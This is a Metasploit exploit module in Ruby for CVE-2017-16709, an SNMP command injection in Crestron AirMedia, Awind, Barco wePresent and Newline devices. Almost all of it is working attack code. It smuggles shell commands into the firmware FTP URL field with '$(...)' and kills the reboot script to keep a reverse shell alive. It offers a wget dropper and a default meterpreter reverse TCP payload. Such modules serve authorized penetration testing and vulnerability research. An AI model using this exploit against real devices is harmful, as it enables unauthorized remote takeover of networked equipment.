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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::SNMPClient  
include Msf::Exploit::CmdStager  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "AwindInc SNMP Service Command Injection",  
'Description' => %q{  
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.  
A valid SNMP read-write community is required to exploit this vulnerability.  
  
The following devices are known to be affected by this issue:  
  
* Crestron Airmedia AM-100 <= version 1.5.0.4  
* Crestron Airmedia AM-101 <= version 2.5.0.12  
* Awind WiPG-1600w <= version 2.0.1.8  
* Awind WiPG-2000d <= version 2.1.6.2  
* Barco wePresent 2000 <= version 2.1.5.7  
* Newline Trucast 2 <= version 2.1.0.5  
* Newline Trucast 3 <= version 2.1.3.7  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Quentin Kaiser <kaiserquentin[at]gmail.com>'  
],  
'References' =>  
[  
['CVE', '2017-16709'],  
['URL', 'https://github.com/QKaiser/awind-research'],  
['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']  
],  
'DisclosureDate' => '2019-03-27',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_ARMLE],  
'Privileged' => true,  
'Targets' => [  
['Unix In-Memory',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'Payload' => {  
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'}  
}  
],  
['Linux Dropper',  
'Platform' => 'linux',  
'Arch' => ARCH_ARMLE,  
'CmdStagerFlavor' => %w[wget],  
'Type' => :linux_dropper  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}))  
  
register_options(  
[  
OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),  
])  
end  
  
  
def check  
begin  
connect_snmp  
sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s  
print_status("Target system is #{sys_description}")  
# AM-100 and AM-101 considered EOL, no fix so no need to check version.  
model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first  
case model  
when 'AM-100', 'AM-101'  
return CheckCode::Vulnerable  
else  
# TODO: insert description check for other vulnerable models (that I don't have)  
# In the meantime, we return 'safe'.  
return CheckCode::Safe  
end  
rescue SNMP::RequestTimeout  
print_error("#{ip} SNMP request timeout.")  
rescue Rex::ConnectionError  
print_error("#{ip} Connection refused.")  
rescue SNMP::UnsupportedVersion  
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("Unknown error: #{e.class} #{e}")  
ensure  
disconnect_snmp  
end  
Exploit::CheckCode::Unknown  
end  
  
def inject_payload(cmd)  
begin  
connect_snmp  
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))  
resp = snmp.set(varbind)  
if resp.error_status == :noError  
print_status("Injection successful")  
else  
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")  
end  
rescue SNMP::RequestTimeout  
print_error("#{ip} SNMP request timeout.")  
rescue Rex::ConnectionError  
print_error("#{ip} Connection refused.")  
rescue SNMP::UnsupportedVersion  
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("Unknown error: #{e.class} #{e}")  
ensure  
disconnect_snmp  
end  
end  
  
def trigger  
begin  
connect_snmp  
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))  
resp = snmp.set(varbind)  
if resp.error_status == :noError  
print_status("Trigger successful")  
else  
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")  
end  
rescue SNMP::RequestTimeout  
print_error("#{ip} SNMP request timeout.")  
rescue Rex::ConnectionError  
print_error("#{ip} Connection refused.")  
rescue SNMP::UnsupportedVersion  
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("Unknown error: #{e.class} #{e}")  
ensure  
disconnect_snmp  
end  
end  
  
def exploit  
case target['Type']  
when :unix_memory  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, opts = {})  
# The payload must start with a valid FTP URI otherwise the injection point is not reached  
cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"  
  
# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback  
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and  
# keep our reverse shell opened :)  
cmd << "$(pkill -f /etc/reboot.sh)"  
  
# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad  
cmd << "A" * (255-cmd.length)  
  
# we inject our payload in camFWUpgradeFTPURL  
print_status("Injecting payload")  
inject_payload(cmd)  
  
# we trigger the firmware download via FTP, which will end up calling this  
# "/bin/getRemoteURL.sh %s %s %s %d"  
print_status("Triggering call")  
trigger  
end  
end